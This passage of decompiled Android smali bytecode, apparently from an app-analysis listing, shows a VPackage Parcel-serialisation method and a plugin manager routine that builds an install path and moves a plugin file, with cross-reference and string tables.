                              171iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ProviderComponent;->intents:Ljava/util/ArrayList;
                              172if-eqz v1, :cond_b6
                              174iget-object v0, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ProviderComponent;->intents:Ljava/util/ArrayList;
                              176invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              177move-result-object v1
                              178goto_e8:
                              179invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                              180move-result v0
                              181if-eqz v0, :cond_b6
                              183invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              184move-result-object v0
                              185check-cast v0, Lcom/lody/virtual/server/pm/parser/VPackage$ProviderIntentInfo;
                              187invoke-virtual {v0, p1, p2}, Lcom/lody/virtual/server/pm/parser/VPackage$ProviderIntentInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              188goto/16 :goto_e8
                              189cond_f8: move v1, v2
                              190goto/16 :goto_db
                              191cond_fa:
                              192iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->services:Ljava/util/ArrayList;
                              194invoke-virtual {v0}, Ljava/util/ArrayList;->size()I
                              195move-result v0
                              197invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeInt(I)V
                              199iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->services:Ljava/util/ArrayList;
                              201invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              202move-result-object v3
                              203cond_109:
                              204invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                              205move-result v0
                              206if-eqz v0, :cond_14d
                              208invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              209move-result-object v0
                              210check-cast v0, Lcom/lody/virtual/server/pm/parser/VPackage$ServiceComponent;
                              212iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ServiceComponent;->info:Landroid/content/pm/ServiceInfo;
                              214invoke-virtual {p1, v1, v2}, Landroid/os/Parcel;->writeParcelable(Landroid/os/Parcelable;I)V
                              216iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ServiceComponent;->className:Ljava/lang/String;
                              218invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              220iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ServiceComponent;->metaData:Landroid/os/Bundle;
                              222invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeBundle(Landroid/os/Bundle;)V
                              224iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ServiceComponent;->intents:Ljava/util/ArrayList;
                              225if-eqz v1, :cond_14b
                              227iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ServiceComponent;->intents:Ljava/util/ArrayList;
                              229invoke-virtual {v1}, Ljava/util/ArrayList;->size()I
                              230move-result v1
                              231goto_12e:
                              232invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeInt(I)V
                              234iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ServiceComponent;->intents:Ljava/util/ArrayList;
                              235if-eqz v1, :cond_109
                              237iget-object v0, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ServiceComponent;->intents:Ljava/util/ArrayList;
                              239invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              240move-result-object v1
                              241goto_13b:
                              242invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                              243move-result v0
                              244if-eqz v0, :cond_109
                              246invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              247move-result-object v0
                              248check-cast v0, Lcom/lody/virtual/server/pm/parser/VPackage$ServiceIntentInfo;
                              250invoke-virtual {v0, p1, p2}, Lcom/lody/virtual/server/pm/parser/VPackage$ServiceIntentInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              251goto/16 :goto_13b
                              252cond_14b: move v1, v2
                              253goto/16 :goto_12e
                              254cond_14d:
                              255iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->instrumentation:Ljava/util/ArrayList;
                              257invoke-virtual {v0}, Ljava/util/ArrayList;->size()I
                              258move-result v0
                              260invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeInt(I)V
                              262iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->instrumentation:Ljava/util/ArrayList;
                              264invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              265move-result-object v3
                              266cond_15c:
                              267invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                              268move-result v0
                              269if-eqz v0, :cond_1a0
                              271invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              272move-result-object v0
                              273check-cast v0, Lcom/lody/virtual/server/pm/parser/VPackage$InstrumentationComponent;
                              275iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$InstrumentationComponent;->info:Landroid/content/pm/InstrumentationInfo;
                              277invoke-virtual {p1, v1, v2}, Landroid/os/Parcel;->writeParcelable(Landroid/os/Parcelable;I)V
                              279iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$InstrumentationComponent;->className:Ljava/lang/String;
                              281invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              283iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$InstrumentationComponent;->metaData:Landroid/os/Bundle;
                              285invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeBundle(Landroid/os/Bundle;)V
                              287iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$InstrumentationComponent;->intents:Ljava/util/ArrayList;
                              288if-eqz v1, :cond_19e
                              290iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$InstrumentationComponent;->intents:Ljava/util/ArrayList;
                              292invoke-virtual {v1}, Ljava/util/ArrayList;->size()I
                              293move-result v1
                              294goto_181:
                              295invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeInt(I)V
                              297iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$InstrumentationComponent;->intents:Ljava/util/ArrayList;
                              298if-eqz v1, :cond_15c
                              300iget-object v0, v0, Lcom/lody/virtual/server/pm/parser/VPackage$InstrumentationComponent;->intents:Ljava/util/ArrayList;
                              302invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              303move-result-object v1
                              304goto_18e:
                              305invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                              306move-result v0
                              307if-eqz v0, :cond_15c
                              309invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              310move-result-object v0
                              311check-cast v0, Lcom/lody/virtual/server/pm/parser/VPackage$IntentInfo;
                              313invoke-virtual {v0, p1, p2}, Lcom/lody/virtual/server/pm/parser/VPackage$IntentInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              314goto/16 :goto_18e
                              315cond_19e: move v1, v2
                              316goto/16 :goto_181
                              317cond_1a0:
                              318iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->permissions:Ljava/util/ArrayList;
                              320invoke-virtual {v0}, Ljava/util/ArrayList;->size()I
                              321move-result v0
                              323invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeInt(I)V
                              325iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->permissions:Ljava/util/ArrayList;
                              327invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              328move-result-object v3
                              329cond_1af:
                              330invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                              331move-result v0
                              332if-eqz v0, :cond_1f3
                              334invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              335move-result-object v0
                              336check-cast v0, Lcom/lody/virtual/server/pm/parser/VPackage$PermissionComponent;
                              338iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$PermissionComponent;->info:Landroid/content/pm/PermissionInfo;
                              340invoke-virtual {p1, v1, v2}, Landroid/os/Parcel;->writeParcelable(Landroid/os/Parcelable;I)V
                              342iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$PermissionComponent;->className:Ljava/lang/String;
                              344invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              346iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$PermissionComponent;->metaData:Landroid/os/Bundle;
                              348invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeBundle(Landroid/os/Bundle;)V
                              350iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$PermissionComponent;->intents:Ljava/util/ArrayList;
                              351if-eqz v1, :cond_1f1
                              353iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$PermissionComponent;->intents:Ljava/util/ArrayList;
                              355invoke-virtual {v1}, Ljava/util/ArrayList;->size()I
                              356move-result v1
                              357goto_1d4:
                              358invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeInt(I)V
                              360iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$PermissionComponent;->intents:Ljava/util/ArrayList;
                              361if-eqz v1, :cond_1af
                              363iget-object v0, v0, Lcom/lody/virtual/server/pm/parser/VPackage$PermissionComponent;->intents:Ljava/util/ArrayList;
                              365invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              366move-result-object v1
                              367goto_1e1:
                              368invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                              369move-result v0
                              370if-eqz v0, :cond_1af
                              372invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              373move-result-object v0
                              374check-cast v0, Lcom/lody/virtual/server/pm/parser/VPackage$IntentInfo;
                              376invoke-virtual {v0, p1, p2}, Lcom/lody/virtual/server/pm/parser/VPackage$IntentInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              377goto/16 :goto_1e1
                              378cond_1f1: move v1, v2
                              379goto/16 :goto_1d4
                              380cond_1f3:
                              381iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->permissionGroups:Ljava/util/ArrayList;
                              383invoke-virtual {v0}, Ljava/util/ArrayList;->size()I
                              384move-result v0
                              386invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeInt(I)V
                              388iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->permissionGroups:Ljava/util/ArrayList;
                              390invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              391move-result-object v3
                              392cond_202:
                              393invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                              394move-result v0
                              395if-eqz v0, :cond_246
                              397invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              398move-result-object v0
                              399check-cast v0, Lcom/lody/virtual/server/pm/parser/VPackage$PermissionGroupComponent;
                              401iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$PermissionGroupComponent;->info:Landroid/content/pm/PermissionGroupInfo;
                              403invoke-virtual {p1, v1, v2}, Landroid/os/Parcel;->writeParcelable(Landroid/os/Parcelable;I)V
                              405iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$PermissionGroupComponent;->className:Ljava/lang/String;
                              407invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              409iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$PermissionGroupComponent;->metaData:Landroid/os/Bundle;
                              411invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeBundle(Landroid/os/Bundle;)V
                              413iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$PermissionGroupComponent;->intents:Ljava/util/ArrayList;
                              414if-eqz v1, :cond_244
                              416iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$PermissionGroupComponent;->intents:Ljava/util/ArrayList;
                              418invoke-virtual {v1}, Ljava/util/ArrayList;->size()I
                              419move-result v1
                              420goto_227:
                              421invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeInt(I)V
                              423iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$PermissionGroupComponent;->intents:Ljava/util/ArrayList;
                              424if-eqz v1, :cond_202
                              426iget-object v0, v0, Lcom/lody/virtual/server/pm/parser/VPackage$PermissionGroupComponent;->intents:Ljava/util/ArrayList;
                              428invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              429move-result-object v1
                              430goto_234:
                              431invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                              432move-result v0
                              433if-eqz v0, :cond_202
                              435invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              436move-result-object v0
                              437check-cast v0, Lcom/lody/virtual/server/pm/parser/VPackage$IntentInfo;
                              439invoke-virtual {v0, p1, p2}, Lcom/lody/virtual/server/pm/parser/VPackage$IntentInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              440goto/16 :goto_234
                              441cond_244: move v1, v2
                              442goto/16 :goto_227
                              443cond_246:
                              444iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->requestedPermissions:Ljava/util/ArrayList;
                              446invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeStringList(Ljava/util/List;)V
                              448iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->protectedBroadcasts:Ljava/util/ArrayList;
                              450invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeStringList(Ljava/util/List;)V
                              452iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                              454invoke-virtual {p1, v0, p2}, Landroid/os/Parcel;->writeParcelable(Landroid/os/Parcelable;I)V
                              456iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->mAppMetaData:Landroid/os/Bundle;
                              458invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeBundle(Landroid/os/Bundle;)V
                              460iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->packageName:Ljava/lang/String;
                              462invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              463iget v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->mPreferredOrder:I
                              465invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeInt(I)V
                              467iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->mVersionName:Ljava/lang/String;
                              469invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              471iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->mSharedUserId:Ljava/lang/String;
                              473invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              475iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->usesLibraries:Ljava/util/ArrayList;
                              477invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeStringList(Ljava/util/List;)V
                              478iget v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->mVersionCode:I
                              480invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeInt(I)V
                              481iget v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->mSharedUserLabel:I
                              483invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeInt(I)V
                              485iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->configPreferences:Ljava/util/ArrayList;
                              487invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeTypedList(Ljava/util/List;)V
                              489iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->reqFeatures:Ljava/util/ArrayList;
                              491invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeTypedList(Ljava/util/List;)V
                              492return-void
                              Cross References
                              APIs
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omg.plugin.PluginException.<init>
                              • java.lang.String.getBytes
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.String.substring
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omg.plugin.PluginException.<init>
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omg.plugin.PluginException.<init>
                              • java.io.File.getPath
                              • java.io.File.length
                              • java.io.File.length
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.delete
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omg.plugin.PluginException.<init>
                              Strings
                              • \u62b1\u6b49\u627e\u4e0d\u5230\u8fd9\u5bb6\u4f19
                              • plugin file
                              • not exists
                              • PluginInstallPath
                              • _
                              • .
                              • create file
                              • fail
                              • Size
                              • \u63d2\u4ef6
                              • \u5df2\u5b58\u5728\uff0c\u61d2\u5f97\u52a8\uff0c\u5c31\u4e0d\u79fb\u52a8\u4e86
                              • \u5f00\u59cb\u5e72\u6d3b\uff0c\u79fb\u52a8
                              • \u5230
                              • move file
                              • to
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Ljava/io/File;
                              3invoke-virtual {p1}, Lcom/omg/plugin/PluginInfo;->getPath()Ljava/lang/String;
                              4move-result-object v1
                              6invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              8invoke-virtual {v0}, Ljava/io/File;->exists()Z
                              9move-result v1
                              10if-nez v1, :cond_4f
                              11new-instance v0, Ljava/lang/StringBuilder;
                              13invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              15invoke-virtual {p1}, Lcom/omg/plugin/PluginInfo;->getPath()Ljava/lang/String;
                              16move-result-object v1
                              18invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              19move-result-object v0
                              21const-string/jumbo v1, " \u62b1\u6b49\u627e\u4e0d\u5230\u8fd9\u5bb6\u4f19"
                              23invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              24move-result-object v0
                              26invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              27move-result-object v0
                              29invoke-static {v0}, Lcom/omg/tool/log/Logger;->E(Ljava/lang/String;)V
                              30new-instance v0, Lcom/omg/plugin/PluginException;
                              31new-instance v1, Ljava/lang/StringBuilder;
                              33invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              35const-string/jumbo v2, "plugin file "
                              37invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              38move-result-object v1
                              40invoke-virtual {p1}, Lcom/omg/plugin/PluginInfo;->getPath()Ljava/lang/String;
                              41move-result-object v2
                              43invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              44move-result-object v1
                              46const-string/jumbo v2, " not exists"
                              48invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              49move-result-object v1
                              51invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              52move-result-object v1
                              54invoke-direct {v0, v1}, Lcom/omg/plugin/PluginException;-><init>(Ljava/lang/String;)V
                              55throw v0
                              56cond_4f:
                              57invoke-virtual {p1}, Lcom/omg/plugin/PluginInfo;->getName()Ljava/lang/String;
                              58move-result-object v1
                              60invoke-direct {p0, v1}, Lcom/omg/plugin/PluginManager;->a(Ljava/lang/String;)Ljava/lang/String;
                              61move-result-object v1
                              63invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
                              64move-result-object v1
                              66invoke-static {v1}, Lcom/omg/tool/MD5Util;->md5([B)Ljava/lang/String;
                              67move-result-object v1
                              68new-instance v2, Ljava/lang/StringBuilder;
                              70invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              72sget-object v3, Lcom/omg/plugin/PluginManager;->b:Lcom/omg/tool/Config;
                              74const-string/jumbo v4, "PluginInstallPath"
                              76invoke-virtual {v3, v4}, Lcom/omg/tool/Config;->get(Ljava/lang/String;)Ljava/lang/String;
                              77move-result-object v3
                              79invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              80move-result-object v2
                              82invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              83move-result-object v2
                              85const-string/jumbo v3, "_"
                              87invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              88move-result-object v2
                              90invoke-virtual {p1}, Lcom/omg/plugin/PluginInfo;->getVersonCode()I
                              91move-result v3
                              93invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              94move-result-object v2
                              96const-string/jumbo v3, "."
                              98invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              99move-result-object v2
                              100const/4 v3, 0x0
                              101const/4 v4, 0x2
                              103invoke-virtual {v1, v3, v4}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              104move-result-object v1
                              106invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              107move-result-object v1
                              109invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              110move-result-object v1
                              111try_start_99:
                              112invoke-virtual {p0}, Lcom/omg/plugin/PluginManager;->a()Landroid/content/Context;
                              113move-result-object v2
                              115invoke-static {v2}, Lcom/omg/tool/StorageManager;->create(Landroid/content/Context;)Lcom/omg/tool/StorageManager;
                              116move-result-object v2
                              118invoke-virtual {v2, v1}, Lcom/omg/tool/StorageManager;->createFile(Ljava/lang/String;)Ljava/io/File;
                              119try_end_a4: move-result-object v2
                              120if-nez v2, :cond_ea
                              121new-instance v0, Lcom/omg/plugin/PluginException;
                              122new-instance v2, Ljava/lang/StringBuilder;
                              124invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              126const-string/jumbo v3, "create file "
                              128invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              129move-result-object v2
                              131invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              132move-result-object v1
                              134const-string/jumbo v2, " fail"
                              136invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              137move-result-object v1
                              139invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              140move-result-object v1
                              142invoke-direct {v0, v1}, Lcom/omg/plugin/PluginException;-><init>(Ljava/lang/String;)V
                              143throw v0
                              144catch_c8: move-exception v0
                              145new-instance v2, Lcom/omg/plugin/PluginException;
                              146new-instance v3, Ljava/lang/StringBuilder;
                              148invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              150const-string/jumbo v4, "create file "
                              152invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              153move-result-object v3
                              155invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              156move-result-object v1
                              158const-string/jumbo v3, " fail"
                              160invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              161move-result-object v1
                              163invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              164move-result-object v1
                              166invoke-direct {v2, v1, v0}, Lcom/omg/plugin/PluginException;-><init>(Ljava/lang/String;Ljava/lang/Exception;)V
                              167throw v2
                              168cond_ea:
                              169invoke-virtual {v2}, Ljava/io/File;->getPath()Ljava/lang/String;
                              170move-result-object v1
                              172invoke-virtual {p1, v1}, Lcom/omg/plugin/PluginInfo;->setPath(Ljava/lang/String;)V
                              174invoke-virtual {v2}, Ljava/io/File;->length()J
                              175move-result-wide v4
                              176const-wide/16 v6, 0x0
                              177cmp-long v1, v4, v6
                              178if-lez v1, :cond_12e
                              180invoke-virtual {v2}, Ljava/io/File;->length()J
                              181move-result-wide v4
                              183const-string/jumbo v1, "Size"
                              185invoke-virtual {p1, v1}, Lcom/omg/plugin/PluginInfo;->getInt(Ljava/lang/String;)I
                              186move-result v1
                              187int-to-long v6, v1
                              188cmp-long v1, v4, v6
                              189if-nez v1, :cond_12e
                              190new-instance v0, Ljava/lang/StringBuilder;
                              192invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              194const-string/jumbo v1, "\u63d2\u4ef6"
                              196invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              197move-result-object v0
                              199invoke-virtual {v2}, Ljava/io/File;->getPath()Ljava/lang/String;
                              200move-result-object v1
                              202invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              203move-result-object v0
                              205const-string/jumbo v1, " \u5df2\u5b58\u5728\uff0c\u61d2\u5f97\u52a8\uff0c\u5c31\u4e0d\u79fb\u52a8\u4e86"
                              207invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              208move-result-object v0
                              210invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              211move-result-object v0
                              213invoke-static {v0}, Lcom/omg/tool/log/Logger;->I(Ljava/lang/String;)V
                              214goto_12d: return-void
                              215cond_12e: new-instance v1, Ljava/lang/StringBuilder;
                              217invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              219const-string/jumbo v3, "\u5f00\u59cb\u5e72\u6d3b\uff0c\u79fb\u52a8"
                              221invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              222move-result-object v1
                              224invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
                              225move-result-object v3
                              227invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              228move-result-object v1
                              230const-string/jumbo v3, "\u5230"
                              232invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              233move-result-object v1
                              235invoke-virtual {v2}, Ljava/io/File;->getPath()Ljava/lang/String;
                              236move-result-object v3
                              238invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              239move-result-object v1
                              241invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              242move-result-object v1
                              244invoke-static {v1}, Lcom/omg/tool/log/Logger;->I(Ljava/lang/String;)V
                              245try_start_158:
                              246invoke-static {v0, v2}, Lcom/omg/tool/IOManager;->moveTo(Ljava/io/File;Ljava/io/File;)V
                              247try_end_15b:
                              248invoke-virtual {v0}, Ljava/io/File;->delete()Z
                              249goto/16 :goto_12d
                              250catch_15f: move-exception v1
                              251new-instance v3, Lcom/omg/plugin/PluginException;
                              252new-instance v4, Ljava/lang/StringBuilder;
                              254invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              256const-string/jumbo v5, "move file "
                              258invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              259move-result-object v4
                              261invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
                              262move-result-object v0
                              264invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              265move-result-object v0
                              267const-string/jumbo v4, " to "
                              269invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              270move-result-object v0
                              272invoke-virtual {v2}, Ljava/io/File;->getPath()Ljava/lang/String;
                              273move-result-object v2
                              275invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
